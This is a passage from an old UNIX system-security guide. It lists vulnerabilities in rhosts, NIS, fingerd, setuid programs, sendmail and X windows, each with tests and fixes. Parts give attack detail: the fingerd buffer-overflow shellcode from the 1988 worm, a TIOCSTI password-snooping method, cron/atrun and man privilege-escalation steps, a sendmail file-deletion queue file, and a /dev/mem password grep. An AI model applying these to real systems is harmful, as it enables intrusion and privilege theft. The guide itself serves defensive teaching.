|
||
succeed without a "password:" required.
|
||
|
||
+ Solution
|
||
Contact your vendor, SCO, for the appropriate fix.
|
||
|
||
.rhosts
|
||
-------
|
||
|
||
* Problem
|
||
The `.rhosts' file has the same format as `hosts.equiv'. When joeuser
|
||
executes `rlogin' or `rsh', the `.rhosts' file from joeuser's home
|
||
directory is conceptually concatenated onto the end of `hosts.equiv' for
|
||
permission checking. It is also possible to have two entries (separated by
|
||
a single space) on a line of these files. In this case, if the remote host
|
||
is equivalenced by the first entry, then the user named by the second entry
|
||
is allowed to log in. An example of this is:
|
||
|
||
ws1.cs.podunk.edu joeuser
|
||
|
||
+ Solution
|
||
Inform users of the proper use of the `.rhosts' facility and insure
|
||
that only secure hosts are ever listed.
|
||
|
||
= Discussion
|
||
It has been said that "The only secure way to manage `.rhosts' is to
|
||
completely disallow them on the system [Curr90]." I find this comment to
|
||
be totally unfounded. It has been shown that the proper use of the
|
||
`.rhosts' facility causes very few security incidents and in contrast helps
|
||
eliminate the network "sniffing" problem.
|
||
|
||
|
||
.netrc
|
||
------
|
||
|
||
* Problem
|
||
The `.netrc' file contains data for logging in to a remote host over the
|
||
network for file transfers by `ftp'. This file resides in the user's home
|
||
directory on the machine initiating the file transfer. It contains
|
||
passwords in plaintext. An example would be:
|
||
|
||
machine ws1.cs.podunk.edu login joeuser password I'mw/7CG
|
||
|
||
* Solution
|
||
`.Netrc' files should never be used. The only legitimate exception to this
|
||
is for using anonymous ftp. This would allow you to connect to an
|
||
anonymous ftp session where the password is only used for identification.
|
||
The typical "netters" `.netrc' would look like this:
|
||
|
||
machine uunet.uu.net login anonymous password joeuser@podunk.edu
|
||
machine prep.ai.mit.edu login anonymous password joeuser@podunk.edu
|
||
machine tut.cis.ohio-state.edu login anonymous password joeuser@podunk.edu
|
||
machine titan.rice.edu login anonymous password joeuser@podunk.edu
|
||
machine berkeley.edu login anonymous password joeuser@podunk.edu
|
||
machine expo.lcs.mit.edu login anonymous password joeuser@podunk.edu
|
||
machine hq.af.mil login anonymous password joeuser@podunk.edu
|
||
|
||
|
||
Other Network Services
|
||
======================
|
||
|
||
RPC, Remote Procedure Call
|
||
--------------------------
|
||
|
||
- Problem
|
||
There is a security problem with most RPC portmapper where anyuser
|
||
can delete services. This is done by connecting to the RPC portmapper and
|
||
simply requesting the service be delete. Under SunOS 4.1 and greater this
|
||
but be done from the localhost, but on SunOS 4.0.3 or less, and on other
|
||
vendor platforms that use the portmapper, this can be done remotly!
|
||
|
||
The problems this can cause range from deleting services such as rusersd
|
||
rstatd to (fairly harmless) to effectivly disabling yp or NFS services.
|
||
|
||
Under SunOS 4.1 a console warning/error message is generated and the
|
||
request is denied if the attack is remote but on other systems the attack
|
||
is clean (meaning there are no trace logs of message to later trace!).
|
||
|
||
+ Solution
|
||
Contact the vendor for a bug fix.
|
||
|
||
|
||
Network Information Services (NIS)
|
||
----------------------------------
|
||
Network Information Services, formerly known as Yellow Pages, allows many
|
||
hosts to share password, group, and other administrative files via the
|
||
network. Unfortunately, NIS also contains a few potential security holes.
|
||
|
||
+ Problem
|
||
Hosts using NIS have a special entry in their `/etc/passwd' file which lets
|
||
many software packages and utilities know that they need to contact the NIS
|
||
server.
|
||
|
||
+::0:0:::
|
||
|
||
If for some unknown reason NIS is not running, this entry now means that
|
||
there is a user named `"+"' which has NO password and has the user ID of
|
||
zero (which causes him to be super-user).
|
||
|
||
* Test
|
||
|
||
$ egrep '^\+::' /etc/passwd
|
||
+::0:0:::
|
||
|
||
This quick test found an occurance which means that if you aren't currently
|
||
running NIS, you have a root login without a password.
|
||
|
||
+ Solution
|
||
Keep a close eye on NIS. Enough said.
|
||
|
||
- Problem
|
||
There exists a bug in pre-4.0.3 versions of `yppasswdd'. `Yppasswdd(8)' is
|
||
an optionally run daemon that lets a user change his password over the LAN
|
||
using Sun's Yellow Pages. The user communicates with the daemon running on
|
||
the YP server via the client command `yppasswd(1)' which calls the system
|
||
function `yppasswd(3)'. `Yppasswd(3)' just sends the user's name, old
|
||
unencrypted password, and a new encrypted password to the YP server via a
|
||
reserved port. `Ypasswdd(8)' looks up the user's name and verifies the old
|
||
password, no question asked. But unfortunately, the new encrypted password
|
||
is not checked for the occurrence of bad characters such as `:' and `\n',
|
||
and has no limitation on its length which also causes over-long password
|
||
entries and results in a similar `chfn' attack.
|
||
|
||
+ Solution
|
||
Several things can be done about this. 1) Upgrade the operating system.
|
||
2) Don't run Yellow Pages. 3) If you have source code, fix the bug and
|
||
recompile `yppasswdd(8)'.
|
||
|
||
- Problem
|
||
When a user runs yppasswd to change the password on an account in
|
||
the Yellow Pages, the YP passwd map is recreated with mode 666
|
||
(world writable). This is a serious security problem.
|
||
|
||
+ Solution
|
||
Add commands to /var/yp/Makefile on the YP master server to set
|
||
the mode on the /var/yp/DOMAINNAME files for the maps passwd.byname,
|
||
passwd.byuid, and publickey.byname:
|
||
|
||
chmod 644 $(YPDBDIR)/$(DOM)/MAP.pag $(YPDBDIR)/$(DOM)/MAP.dir;\
|
||
|
||
Substitute each map name for "MAP" in the above command. Another way
|
||
is to set a umask for each map. For example:
|
||
|
||
passwd.time: $(DIR)/passwd
|
||
-@if [ -f $(DIR)/passwd ]; then \
|
||
umask 022 ; \
|
||
awk 'BEGIN { FS=":"; OFS="\t"; } /^[a-zA-Z0-9_]/ { ...
|
||
...
|
||
|
||
- Problem
|
||
NIS is more than willing to give out the administrative files which it so
|
||
kindly keeps available. The only catch to this is requests must be made by
|
||
root. With the number of PC's and single-user workstations around, this is
|
||
certainly not difficult.
|
||
|
||
+ Solution
|
||
The only solution to this is NOT to run NIS. Hardly a solution, but
|
||
certainly a fact.
|
||
|
||
Fingerd
|
||
-------
|
||
`Fingerd' is a daemon that provides remote hosts information about users.
|
||
The information can include: who is currently logged in, a user's full
|
||
name, and a user's plan/project.
|
||
|
||
- Problem
|
||
The standard `fingerd' on Berkeley based systems calls a function `gets()'
|
||
to get an input line for parsing. Because `gets()' does not check the
|
||
buffer overflow, a shell process will be run by `fingerd' if some specific
|
||
input is fed to the daemon. As an example, here is the Sun assembler code
|
||
to feed your friendly daemon:
|
||
|
||
! First send 340 0x01's to the daemon -- address 0x0efffbe0
|
||
! Next is this 64 byte pattern
|
||
!
|
||
pea0x69696901:l
|
||
subl#0x1010101,sp@
|
||
movlsp,d1
|
||
pea0x1010101:l
|
||
subl#0x1010101,sp@
|
||
movld1,sp@-
|
||
movlsp,d1
|
||
pea0x30746901:l
|
||
subl#0x1010101,sp@
|
||
pea0x2f62696e:l
|
||
movlsp,d6
|
||
movld1,sp@-
|
||
movld1,sp@-
|
||
movld6,sp@-
|
||
movld6,sp@-
|
||
pea0x203b:w ! Really -=> pea 0x3b:w
|
||
trap#0
|
||
! Follow up by overwriting the return address
|
||
|
||
This bug was exploited by the December 1988 Internet worm on Vax systems.
|
||
Besides giving unauthorized access, it also gives root privileges because
|
||
`fingerd' runs as root.
|
||
|
||
* Test
|
||
If the version of `fingerd' you are running is older than November 1988,
|
||
you probably need to obtain a newer version.
|
||
|
||
There is no simple test to perform that will adequately show if your system
|
||
has this flaw without showing exactly how to exploit the hole. Therefore,
|
||
you should contact your local security guru.
|
||
|
||
+ Solution
|
||
Either do not provide this service or obtain a more recent version of the
|
||
`fingerd' software (Best answer).
|
||
|
||
|
||
Rlogind/Telnetd
|
||
---------------
|
||
|
||
These network services allow remote connections to be made to a host.
|
||
|
||
- Problem
|
||
Login information can be snooped from rlogin and telnet logins. It
|
||
is primarily in BSD-derived systems, but others may be at risk also.
|
||
It has been confirmed in SunOS 4.0.3, SunOS 4.1, and Ultrix 4.0.
|
||
NOTE: Although telnetd/rlogind are networking programs, the bug
|
||
can only be used by local users.
|
||
|
||
* Test
|
||
Write a C program that opens a pty slave and blocks until the master
|
||
side is opened by a telnet (or rlogin) daemon. Read the login name
|
||
and stuff it back using the TIOCSTI icotl() call, and wait until
|
||
'/bin/login' has read it. Do the same with password. You now have
|
||
the users login name and password.
|
||
|
||
+ Solution
|
||
While waiting to obtain an official fix from your vendor, write a program
|
||
that opens, at regular intervals, the first five (or more) free ptys and
|
||
immediately closes them. This will generally cause snooper programs to
|
||
terminate and logging useless information.
|
||
|
||
The SunOS Patch ID is 100125-03.
|
||
|
||
|
||
Modems and Terminal Servers
|
||
===========================
|
||
|
||
- Problem
|
||
Suppose the super-user is using the system by telephone, port finder,
|
||
terminal switch, or Annex box and gets cut off. Later an ordinary user
|
||
gets connected to the same port and finds he is in the super-user account.
|
||
Systems are supposed to prevent this, but do they? I have personally seen
|
||
this happen during a power surge.
|
||
|
||
+ Solutions
|
||
Make sure that modems and such hang up properly, and your system correctly
|
||
logs off disconnected users.
|
||
|
||
|
||
Account Security
|
||
****************
|
||
|
||
"A password should be like a toothbrush: Use it everyday;
|
||
change it regularly; and DON'T share it with friends."
|
||
-- USENET
|
||
|
||
Compromising someone's personal account is one of the easiest ways for a
|
||
cracker to penetrate your system. Easy to guess passwords, group and guest
|
||
accounts, old and unused accounts are the most frequently traveled paths of
|
||
intruders. These roads must be closed!
|
||
|
||
|
||
Passwords
|
||
=========
|
||
Passwords are the most vital part of UNIX system security. If an intruder
|
||
can get a user's password, he has half the battle won already. If he
|
||
manages to get the password of a system administrator, three quarters of
|
||
the battle is won. Obtaining the super-users password ends the war, and
|
||
the intruder wins. For this reason, selecting a secure password is
|
||
extremely important.
|
||
|
||
- Problem
|
||
The standard UNIX `passwd' utility places few restrictions on what a user
|
||
may use as a password.
|
||
|
||
+ Solutions
|
||
Write a password policy, educate users about the new policy, and enforce it
|
||
strictly.
|
||
|
||
Acquire a new version of `passwd' that gives administrators tighter control
|
||
over the types of passwords users may select.
|
||
|
||
- Problem
|
||
Password files, on occassion, become corrupted. This can be due to a fluke
|
||
of nature or through user intervention.
|
||
|
||
+ Solution
|
||
Periodically check the password and group files for improper entries or
|
||
defective lines. Save the password file every night and compare with
|
||
previous day's file, then examine `diff' listings for bogus accounts.
|
||
|
||
|
||
Guest Accounts
|
||
==============
|
||
|
||
- Problem
|
||
Guest accounts present still another security hole. By their nature,
|
||
these accounts are rarely used, and are always used by people who should
|
||
only have access to the machine for the short period of time they are
|
||
guests [Curr90].
|
||
|
||
+ Solution
|
||
The most secure way to handle guest accounts is to install them on an
|
||
as-needed basis, and delete them as soon as the people using them leave.
|
||
Guest accounts should never be given simple passwords such as "guest" or
|
||
"visitor," and should never be allowed to remain in the password file when
|
||
they are not being used [Curr90].
|
||
|
||
|
||
Group Accounts
|
||
==============
|
||
|
||
A group account is a single account shared by several people. For
|
||
example, all of the programmers working on project xyzzy.
|
||
|
||
- Problem
|
||
Since users should not share passwords (See Password Policies for more
|
||
information) -- the concept of a group account already violates the
|
||
recommended policy.
|
||
|
||
+ Solution
|
||
|
||
Give each user requiring access to the system an account and put each of
|
||
the members into a group (in `/etc/group'). For example: Bart, Lisa, and
|
||
Maggie are working on a project. Give each of them normal user accounts to
|
||
the system. Create a new group in `/etc/group'.
|
||
|
||
simpsons:*:800:bart,lisa,maggie
|
||
|
||
The groupname is "simpsons", the group ID is "800", and the members are
|
||
"bart, lisa, and maggie". Simple, yet so much more secure. Now for the
|
||
three members of "simpsons" to share files, they just need to make sure the
|
||
files they want to share are accessible by the group "simpsons". More
|
||
information can be obtained by reading your systems documentation
|
||
concerning groups.
|
||
|
||
|
||
File System Security
|
||
********************
|
||
|
||
"No such file or directory"
|
||
-- ls -l /
|
||
|
||
The UNIX filesystem is hierarchical, with files organized into directories,
|
||
and filesystems, in most cases, restricted to a single physical hardware
|
||
device such as a disk drive. Filesystems typically include facilities for
|
||
naming files and for controlling access to files [McKu89]. Since the
|
||
filesystem contains the most important parts of your operating system, it
|
||
should be made secure. That tends to be a difficult task. While most of
|
||
these have been fixed, new variants of them keep happening over and over in
|
||
new software so they are of educational value.
|
||
|
||
|
||
Set UID Programs
|
||
================
|
||
|
||
When a program is executed, the process created from the program is
|
||
assigned four numbers that indicate who that process belongs to. These
|
||
are:
|
||
|
||
* real UID
|
||
* effective UID
|
||
* real GID
|
||
* effective GID
|
||
|
||
Normally, the effective UID and GID are the same as the real. The
|
||
effective UID and GID are used by UNIX to determine a process' permissions.
|
||
If the effective UID of a process is the same as the UID of the owner of a
|
||
file, then that process has the owner's access permissions to the file;
|
||
otherwise, if the effective GID of a process matches the GID of the group
|
||
associated with a file, then that process has the group's access
|
||
permissions; otherwise, a process is granted the access permissions of
|
||
others. Here is the example in Pseudo-code:
|
||
|
||
if effective UID matches UID of file
|
||
then owner access
|
||
else if effective GID matches GID of file
|
||
then group access
|
||
else
|
||
other access
|
||
|
||
Normally, whenever you execute a program, the effective and real UIDs and
|
||
GIDs are set to your UID and GID, respectively. So if that process wants
|
||
to read a particular file, then you must have read access to that file
|
||
|
||
Setting the SUID permission on a program changes this behavior. When this
|
||
permission is set, all processes created from that program will have the
|
||
effective UID of the program's owner, and not yours. Because file access
|
||
permissions are determined from the effective UID and not the real, the
|
||
process from a SUID program has the same access permissions as the owner of
|
||
that program, no matter who executes the program [Wood79].
|
||
|
||
at/cron
|
||
-------
|
||
Commands to automatically run batch files.
|
||
|
||
- Problem
|
||
Program `/usr/lib/atrun' runs privileged by `cron'. Directory
|
||
`/usr/spool/at' was writable by everybody. User went into `/usr/spool/at',
|
||
ran a setuid root program, and then gave it a quit, creating a `core' file
|
||
owned by root, then linked that file to have a name like a genuine at
|
||
submission. `Atrun' takes the uid from the owner of the submission file,
|
||
so when the owner is root it runs privileged for the user.
|
||
|
||
- Problem
|
||
Next variation on `atrun': `/usr/spool/mail' directory was writable by
|
||
everybody. Submit a program requiring privileges to `atrun' as self. Then
|
||
link it to `/usr/spool/mail/root'. Then `mail' something to root which
|
||
changes ownership of `/usr/spool/mail/root' to root, hence again fooling
|
||
`atrun' into running the submission privileged.
|
||
|
||
- Problem
|
||
`/usr/lib/crontab' was owned by bin. man was setuid bin. Users were able
|
||
to get a shell setuid bin. This enabled them to modify `crontab', and
|
||
hence do anything.
|
||
|
||
- Problem
|
||
Next variation on `cron'. Link `/usr/lib/crontab' to
|
||
`/usr/spool/mail/self'. Then send mail to self; `mail' changes the
|
||
ownership of `crontab' to self. Then edit `crontab' to remove the mail and
|
||
add command to give privileges to self.
|
||
|
||
+ SOLUTION
|
||
Since these flaws are in older versions of UNIX, you should consider
|
||
upgrading the operating system or manually fixing the code and recompile.
|
||
|
||
|
||
chfn
|
||
----
|
||
A program to allow a user to update his "finger" information.
|
||
|
||
- Problem
|
||
A bug in `passwd/chfn/chsh' is exploited when the length of a password
|
||
entry in `/etc/passwd' is longer than BUFSIZ. A user can cause the length
|
||
of his/her password entry to be longer than BUFSIZ with the `chfn' command
|
||
and finally a super-user account like:
|
||
|
||
xyz::0:0:::
|
||
|
||
to be created in `/etc/passwd'
|
||
|
||
+ Solution
|
||
Acquire the latest release of `chfn', compile, and install.
|
||
|
||
|
||
finger
|
||
------
|
||
A program to report user information.
|
||
|
||
- Problem
|
||
Another `finger' problem involves `fingerd' which normally runs as root.
|
||
Therefore, if a user's `.project' or `.plan' file is symbolically linked to
|
||
another file which is not readable by an ordinary user, such as
|
||
`/usr/local/adm/bad-logins', `fingerd' can tell the contents of the file.
|
||
|
||
* Test
|
||
|
||
$ ln -s some unreadable file .plan
|
||
$ finger self@your hostname
|
||
[Podunk.Edu]
|
||
Login name: joeuser (messages off)In real life: Joe E. User
|
||
Directory: /home/joeuser Shell: /bin/sh
|
||
On since Apr 1 10:05:51 on ttyp4 from ws1.cs.podunk.edu
|
||
No unread mail
|
||
Plan:
|
||
You should not be able to read this file.
|
||
...
|
||
|
||
* Solution
|
||
Acquire the latest release of `finger', compile, and install.
|
||
|
||
man
|
||
---
|
||
The UNIX on-line manual reading system.
|
||
|
||
- Problem
|
||
Berkeley `man' program was owned by user manuals and setuid. This was an
|
||
attempt to allow it to create the nroff-ed copies in its own directory
|
||
without allowing all users to write into that directory. User was able to
|
||
get a shell owned by user manuals. Using this, he was able to over-write
|
||
the `man' program with one which did his side effects and then called the
|
||
real one. Then he waited for a super user to run `man'. The side effect
|
||
of his program was to replace `/bin/sh' with one of his own writing. He
|
||
had cleverly cut the size of the error messages so that his own `man'
|
||
program was exactly the same size as the original. When super user
|
||
executed `man' it would execute the file `/tmp/sh-' which happens to be a
|
||
file name used by `man'. The intruder had previously stored a program as
|
||
`/tmp/sh-' which when executed by super user would establish a setuid root
|
||
shell. This was detected by setuid messages on the system console and also
|
||
because there was a bug somewhere in the whole scheme that would lock up
|
||
the system in a loop creating the setuid root shell over and over.
|
||
|
||
- Problem
|
||
The Berkeley `man' program was setuid bin and calls `more', a pager.
|
||
`More' allowed the user to get a shell as bin and thus to write files owned
|
||
by bin outside the manuals directory. Moral: setuid-anything can be as
|
||
dangerous as setuid-root.
|
||
|
||
* Solution
|
||
Do not allow the `man' program to be set UID.
|
||
|
||
|
||
rpc.rwalld
|
||
----------
|
||
'rwalld' is a server that handles 'rwall' and 'shutdown' request. It is
|
||
implemented by calling 'wall' to all the appropriate network machines.
|
||
The rwalld daemon is normally invoked by 'inetd'.
|
||
|
||
- Problem
|
||
'/etc/utmp' is world writable; thus, can be written to by ANY user or
|
||
process. 'rpc.rwalld' utilizes the information in '/etc/utmp' to
|
||
determine what terminals to display information on. Since 'rpc.rwalld'
|
||
is started by inetd (thus run by root), 'wall' does not check to make
|
||
sure that the file it is writing to is a terminal. A rather clever
|
||
user can rewrite '/etc/utmp' in such a way to have 'wall' write ANY
|
||
information the user wants into '/etc/passwd' or any other file. If you
|
||
still have an insecure 'tftp' enabled, this bug will allow not only
|
||
local, but remote users to gain unauthorized root access.
|
||
|
||
This same problem can be exploited using comsat and mail instead of
|
||
rcp.rwalld and rwall.
|
||
|
||
* Test
|
||
Determine if your '/etc/utmp' is world writable.
|
||
|
||
$ ls -l /etc/utmp
|
||
-rw-rw-rw- 1 root 216 Mar 29 21:33 /etc/utmp
|
||
|
||
+ Solution
|
||
Turn off 'rpc.rwalld' and contact your vendor for a fix. Later releases
|
||
of SunOS have this problem corrected while leaving '/etc/utmp' world
|
||
writable. If in doubt, turn it off until your vendor ensures you that
|
||
the problem has been corrected.
|
||
|
||
|
||
scripts
|
||
-------
|
||
The shell programming language.
|
||
|
||
- Problem
|
||
There are several problems with having setuid shell scripts. There are
|
||
three basic approaches which I know of to break these scripts:
|
||
|
||
Environment Variables
|
||
.....................
|
||
|
||
These methods involve setting values for the PATH and/or IFS variables.
|
||
PATH is easy to get around either by explicitly setting it at the start of
|
||
the script or by specifying the full paths to the commands. IFS applies
|
||
only to `sh' scripts; normally, it only contains space, tab, and newline
|
||
but, a script could be invoked with the character '/' in IFS; then the
|
||
command `/bin/mv' would be interpreted as the command `bin' with the
|
||
argument `mv'. This also applies to the `system()' call from C which
|
||
invokes a Bourne shell. The workaround for IFS is to reset it to the
|
||
appropriate value at the start of the script. Including assignments are
|
||
interpreted before the input is segmented.
|
||
|
||
rc files
|
||
........
|
||
|
||
For some reason, when `csh' is invoked suid, it reads the `.cshrc' file
|
||
belonging to the real user rather than the uid it is running as. Obviously
|
||
the user can put as many malicious commands in there as he likes. Thus it
|
||
is necessary to invoke `csh' with the `-f' option to prevent it from
|
||
reading `.cshrc'.
|
||
|
||
Symbolic links
|
||
..............
|
||
|
||
When an interpreter script is invoked via `execve()' the interpreter is
|
||
invoked by tagging the script name onto the end of the `#!' line at the
|
||
start of the script. The first idea is to make the script name look like
|
||
another argument of which the most useful is `-i'. This can be done by
|
||
creating a symbolic link to the real script. This does not apply to `csh',
|
||
which will not run suid unless invoked with the `-b' option which
|
||
terminates option processing. The fix with `sh' is to give the argument
|
||
`-' which has the same effect. The really nasty problem, which has no easy
|
||
fix, is that it is possible after invoking the script through symbolic link
|
||
to make that symbolic point to a different file before the interpreter
|
||
begins to read commands. The timing on this is important in order for the
|
||
method to work, but is not difficult to achieve.
|
||
|
||
+ Solution
|
||
DO NOT allow set UID shell scripts on the system.
|
||
|
||
|
||
sendmail
|
||
--------
|
||
A mailer independent Email handling subsystem.
|
||
|
||
- Problem
|
||
4.3BSD `sendmail' (prior to 5.61) runs setuid root and allows a
|
||
user-supplied file of addresses with the `:include:' syntax on the command
|
||
line. It fails to check where the user has permission to access the file
|
||
to be included, so intruders were able to use `sendmail' to read any file
|
||
in the system.
|
||
|
||
- Problem
|
||
A bug connected to the `-C' option which causes an alternative
|
||
configuration file to be used. If the file is a protected file which is
|
||
actually not a send mail configuration file, `sendmail' will print out some
|
||
contents of the file as an error message.
|
||
|
||
- Problem
|
||
Another bug involves the `-q' and `-oQ' options and causes any
|
||
file to be deleted. For example, if the qf file looks like this:
|
||
|
||
P28
|
||
T599831504
|
||
Dfilename
|
||
Suser
|
||
Ruser
|
||
H?P?return-path: <user>
|
||
H?F?from: user (User Name)
|
||
H?x?full-name: User Name
|
||
HTo: user
|
||
Hsubject: Gotcha
|
||
|
||
after the command `sendmail -q -oQ' is issued, file `filename'
|
||
will be deleted and its content will be mailed to user.
|
||
|
||
+ Solution
|
||
Obtain the latest version of sendmail.
|
||
|
||
- Problem
|
||
When delivering to files and programs, `sendmail' does not do an
|
||
`initgroups(3)' after forking on final delivery. As a result, the sender's
|
||
group list remains in effect throughout this stage. This is particularly
|
||
serious when root is sending the mail since a program executed out of a
|
||
`.forward' file gains interesting privileges like `wheel' and `kmem'. A
|
||
related hole can be broken down into a "problem" and an "aggravation". The
|
||
"problem" is that queued local mail no longer has the original recipient's
|
||
uid associated with it. Control files only store a list of exploded
|
||
recipients (i.e. users, files and programs) -- one per line -- each
|
||
prefaced with an `R'. So, after an address resolves to the local machine
|
||
and has undergone alias and ".forward" expansion, if the letter happens to
|
||
get queued, on the succeeding queue run sendmail doesnt know who to run the
|
||
final delivery as. The "aggravation" is that, when doing this final
|
||
delivery of queued local mail, sendmail will `setuid()' itself to
|
||
the sender's uid if it is available; in general, the sender's uid will be
|
||
used when the sender is on the local machine. As a result, a user can run a
|
||
program as anyone who sends them mail from the local machine. There is
|
||
also an added "complication"; the default uid and gid are also set to the
|
||
sender when delivering mail! Since the default uid and gid are only used
|
||
when calling `setuid()' and `setgid()' (to reset the uid/gid before doing
|
||
final delivery), these variables should never be set to the sender.
|
||
|
||
+ Solution
|
||
This problem will be fixed in the next version of Berkeley sendmail.
|
||
Patches can be obtained from your local UNIX guru.
|
||
|
||
|
||
Set GID Programs
|
||
================
|
||
|
||
mail
|
||
----
|
||
|
||
- Problem
|
||
`Mail' and `mailx' are set GID to the group `mail'. There are useful
|
||
options to these utilities that will allow you to read anyones mail. The
|
||
use of other features in the `mail' program can allow the user to spawn a
|
||
shell with the full permissions of the group `mail'.
|
||
|
||
+ Solution
|
||
Do not have `mail' set GID. This may require some other fixes to sendmail
|
||
and other applications. Contact your vendor for more information.
|
||
|
||
man
|
||
---
|
||
|
||
- Problem
|
||
`Man' runs set GID to group man. This causes nearly the same effects as
|
||
having `man' set UID.
|
||
|
||
+ Solution
|
||
Do not run `man' set GID.
|
||
|
||
|
||
Startup files
|
||
=============
|
||
|
||
- Problem
|
||
Users have had their directories writable by others. Said others have
|
||
installed or modified `.login' and `.cshrc' files to get control of the
|
||
owner's account. (Doesn't compromise the whole system, but does compromise
|
||
the affected account). With 4.2BSD and later the ability to make a
|
||
`.rhosts' file in another user's account is an entry to that account.
|
||
|
||
For added subtlety, have a `.logout' file that creates the `.rhosts' and a
|
||
line in `.login' that removes it, so the real user is unlikely to see it.
|
||
An abridged list follows:
|
||
|
||
`/etc/Profile'
|
||
Global start up file for Bourne shells
|
||
|
||
`/etc/Login'
|
||
Global start up file for C-shells
|
||
|
||
`.profile'
|
||
User's personal start up file for Bourne shells
|
||
`.cshrc'
|
||
`.login'
|
||
User's personal start up file for C-shells
|
||
|
||
`.logout'
|
||
Personal file executed at logout by C-shells
|
||
|
||
`.kshrc'
|
||
User's personal start up file for Korn shells
|
||
|
||
`.kermrc'
|
||
Used by `kermit' to personalize it's environment
|
||
|
||
`.exrc'
|
||
Used by the `vi' editor to set up macros and such
|
||
|
||
`.emacs'
|
||
Used by the `emacs' editor for customization
|
||
|
||
`.mailrc'
|
||
Used by mailer programs for initialization
|
||
|
||
+ Solution
|
||
Monitor permissions on startup files carefully. Permissons for a users
|
||
personal dot files should be 0600.
|
||
|
||
-rw------- 1 joeuser student 1251 May 8 13:35 /home/joeuser/.cshrc
|
||
|
||
|
||
User Utilities
|
||
==============
|
||
User utilities have always been the target for all sorts of attack. The
|
||
chances of finding a victim are astronomical.
|
||
|
||
Windowing Systems
|
||
-----------------
|
||
Windowing systems are the wave of the future, not only for developers
|
||
and users, but for hackers. Windowing code tends to very complex and
|
||
therefore tends to have many bugs in its infancy. Some of these bugs
|
||
[often known as features] are major security holes.
|
||
|
||
Sunview
|
||
.......
|
||
|
||
Sunview, also known as suntools, is used on workstations running SunOS.
|
||
|
||
- Problem
|
||
The console's frame buffer, `/dev/fb', is world readable. This
|
||
allows clever users to dump images of a workstations screen for viewing.
|
||
This comes in handy when your professor is logged in writing up next
|
||
week's exam.
|
||
|
||
+ Solution
|
||
Force `login' to properly set the modes of the frame buffer. Version
|
||
4.1 of SunOS provides this feature.
|
||
|
||
- Problem
|
||
Under SunOS running the SunView windowing system, it is possible to
|
||
remotely access files using SunView selection_svc(1) subprocess and the
|
||
RPC facility.
|
||
|
||
The selection_svc program handles all selections made by SunView client
|
||
programs. It is used to modify resource files and cut/paste
|
||
selections. The way these clients communicate with selection_svc is
|
||
through RPC calls. The problem is that the selection service process
|
||
will accept RPC requests from any user, both locally and remotely. No
|
||
authentication is preformed.
|
||
|
||
What's worse it that it is possible to scan for local systems having
|
||
the RPC service available. The command:
|
||
|
||
$ rpcinfo -b selection_svc 6
|
||
|
||
will print a list of systems running selection_svc on the local
|
||
broadcast network.
|
||
|
||
For Sun's 386i systems, the problem is more complicated. On these
|
||
systems, selection_svc is started when '/etc/init' runs '/etc/rc'.
|
||
Because init runs as root, you tell selection_svc to read any file.
|
||
|
||
+ Solution
|
||
Obtain the proper fix from Sun or run the X Windowing system.
|
||
|
||
|
||
X Windows
|
||
.........
|
||
|
||
The X window system is used by many different systems ranging from the
|
||
Cray 2 (UNICOS 5.x) to Vax 11/785 (BSD 4.3) to IBM PC (Xenix). This
|
||
makes the probability of a hole being found much greater.
|
||
|
||
- Problem
|
||
The `xterm' terminal emulator provided as part of X windows has a rather
|
||
bad security hole. This problem exists in X version 11, both releases 3
|
||
and 4, and possibly other versions as well. To the best of my knowledge,
|
||
this bug has not been used in a malicious or harmful way by anyone, but the
|
||
potential is frightening. The `xterm' emulator has a feature that allows a
|
||
user to keep a logfile of what's been typed in the xterm window. The
|
||
feature also allows a command to be specified as the logfile, in which case
|
||
what would normally be written to the logfile is instead written to the
|
||
input of the given command (standard UNIX-style pipeline setup). The
|
||
security hole arises because the xterm emulator defines some escape
|
||
sequences which can be sent to the xterm window to control the logging
|
||
feature: turning logging on or off and changing the logfile name. These
|
||
escape sequences could conceivably be embedded in a mail message, and the
|
||
message sent to a victim. If the victim displays the message in an xterm
|
||
window (for example by running mail from within an xterm window), the
|
||
escape sequences will effectively cause the victim to run whatever commands
|
||
the attacker wishes. The victim will probably be unaware of the attack,
|
||
since the escape sequences are not displayed in the xterm window.
|
||
|
||
* Test
|
||
There is no simple test to perform that will adequately show if your
|
||
system has this flaw without showing exactly how to exploit the hole.
|
||
Therefore, you should contact your local security guru.
|
||
|
||
+ Solution
|
||
Obtain patches from your vendor or MIT.
|
||
|
||
DECwindows
|
||
..........
|
||
|
||
This runs exclusively on DEC workstations.
|
||
|
||
- Problem
|
||
DECwindows has a bug which stores user's plain text password in memory.
|
||
The password was transferred between `login' and `Xprompter' and
|
||
unfortunately will not be destroyed after authentication, even after the
|
||
user logs out. Since `/dev/mem' is readable by everybody, the password
|
||
could be obtained by scanning `/dev/mem' for a specific string pattern like
|
||
|
||
$ od -s /dev/mem | grep assw | grep name
|
||
12345678 name: joeuser\npassword: I'mw/7CG\n
|
||
|
||
+ Solution
|
||
Contact you DEC vendor for fixes.
|
||
|
||
|
||
mail
|
||
----
|
||
|
||
- Problem
|
||
'/bin/mail' can be caused to invoke a root shell if given the
|
||
(im)proper arguements.
|
||
|
||
+ Solution
|
||
Contact your vendor for the necessary patches. Sun Patch ID: 100224-01.
|
||
|
||
|
||
|
||
mkdir
|
||
-----
|
||
|
||
- Problem
|
||
Some old UNIX systems have a bug concerned with the `mkdir' command. This
|
||
bug is caused by resource competition. Taking advantage of this bug, a
|
||
user has a little chance to change the ownership of any file. This bug is
|
||
very randomized and needs a long time to reproduce.
|
||
|
||
+ Solution
|
||
New versions of UNIX do not have this problem. Upgrade your operating
|
||
system to better your chances.
|
||
|
||
|
||
su
|
||
--
|
||
|
||
- Problem
|
||
On all Ultrix (2.x and 3.0) systems, `su' still cannot correctly track the
|
||
super user log. The following `su' tells nothing about who has become a
|
||
super user or who has tried the `su' command but failed.
|
||
|
||
$ su < /dev/tty
|
||
|
||
A message like:
|
||
|
||
SU: /dev/tty on the console
|
||
SU: /dev/tty Mon Apr 1 12:20:41 1989 in the syslog file
|
||
|
||
- Problem
|
||
At one time the `su' program with the `-s' option would execute a user's
|
||
program as shell in privileged mode; hence, the user's program could set
|
||
itself to setuid root.
|
||
|
||
+ Solution
|
||
Contact your vendor or upgrade.
|
||
|
||
ulimit
|
||
------
|
||
|
||
- Problem
|
||
On UNIX System V based systems, there is a bug which causes the password
|
||
file to be destroyed totally or to be truncated partially. When this bug
|
||
results in a partial `/etc/passwd' file, an entry similar to `xyz::0:0:::'
|
||
will be created. This bug is related to the current setting of the users
|
||
ulimit.
|
||
|
||
* Test
|
||
There is no simple test to perform that will adequately show if your system
|
||
has this flaw without showing exactly how to exploit the hole. Therefore,
